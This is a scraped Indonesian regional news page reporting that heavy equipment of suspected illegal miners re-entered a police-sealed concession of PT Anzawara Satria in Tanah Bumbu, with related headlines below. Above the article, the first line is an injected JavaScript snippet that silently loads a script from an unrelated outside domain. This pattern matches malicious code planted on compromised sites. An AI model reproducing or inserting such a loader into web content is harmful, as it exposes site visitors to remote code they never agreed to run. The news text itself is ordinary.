(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Sudah Disegel Tim Bareskrim Polri, Dua Alat Berat Penambang Liar Kembali Masuk


KANALKALIMANTAN.COM, BATULICIN – Siang hari dua alat berat sempat dihalau diduga milik penambang ilegal memasuki lahan konsesi PT Anzawara Satria di Desa Bunati, Kecamatan Angsana, Kabupaten Tanah Bumbu, dua unit alat berat itu masuk kembali masuk ke area yang sudah dipasangi garis polisi oleh Bareskrim Mabes Polri, Minggu (16/10/2021) malam.

“Ya tadi pagi kami melihat ada 2 unit alat berat yang diduga milik penambang ilegal berupaya masuk ke lahan PT Anzawara Satria yang sudah di police line tim Bareskrim Mabes Polri. Kepada operator alat berat kami tanyakan maksud dan tujuan mereka, tetapi mereka hanya menjawab perintah bos,” jelas Legal PT Anzawara Satria, Jurkani, Minggu (16/10/2021) siang.

Sementara melihat situasi itu, Jurkani sebagai kuasa hukum PT Anzawara Satria, mengatakan pihaknya dengan arahan tim Bareskrim Mabes Polri agar melaporkan ke Polsek Angsana. Karena itu pihaknya menghubungi Polsek Angsana yang akhirnya mendatangi ke lokasi.

“Setelah petugas kepolisian dari mobil patroli datang, akhirnya dua unit alat berat tersebut meninggalkan lokasi,” tegas Jurkani.

 

Baca juga : Wapres Ma’ruf Amin Jelaskan Alasan Pemerintah Geser Libur Maulid Nabi

Di sisi lain Manager External Relation PT Anzawara Satria, Emma Rivilla membenarkan bahwa ada dua unit alat berat yang diduga milik penambang ilegal berusaha memasuki lahan konsesi mereka.

“Diduga mereka tahu bahwa tim Bareskrim Mabes Polri sudah kembali ke Jakarta dan mencoba masuk ke lahan yang telah dipasang police line. Hal ini perlu mendapat perhatian aparat penegak hukum, masih ada upaya dari oknum penambang ilegal untuk tetap beroperasi,” ujarnya.

Menurut Emma, tim dari Bareskrim Mabes Polri pada saat bertemu dirinya di Polsek Angsana berpesan agar pihak PT Anzawara Satria terus mengawasi lahan yang telah dipasangi garis polisi tersebut. Namun, ungkap Emma, setelah dihalau pada siang hari, pada malam harinya sejumlah unit alat berat dari penambang ilegal tanpa takut ada tindakan hukum kembali masuk ke area yang sudah dipasangi garis polisi.

“Kami diminta tim dari Bareskrim untuk memantau terus lahan yang masih dalam penyidikan mereka. Kalau ada sesuatu, kami diminta lapor ke Bareskrim atau ke Polsek Angsana. Setelah siang dihalau keluar, eh malam ini mereka masuk lagi, karena itu kami akan laporkan ke Bareskrim dan juga ke Kapolri,” pungkas Emma Rivilla, Minggu (17/10/2021) malam.

 

Baca juga : Mobil Jeep Mini Rp 50 Jutaan Ini Buatan Santri Lho, Ada Jenis Rubicon dan Land Cruiser

PT Anzawara Satria telah melaporkan ke Kapolri Jenderal Polisi Listyo Sigit tentang penjarahan yang dilakukan sejumlah oknum penambang ilegal di lahan mereka, Rabu (15/9/2021). Laporan PT Anzawara Satria ini mendapat respon dari Kapolri dengan menurunkan tim penyidik dari Bareskrim Mabes Polri, dan dilapangan melakukan penyidikan, hingga memasang garis polisi, (13/10/2021). (kanalkalimantan.com/rdy)

Reporter : rdy
Editor : kk


Desy Arfianty

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

14 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.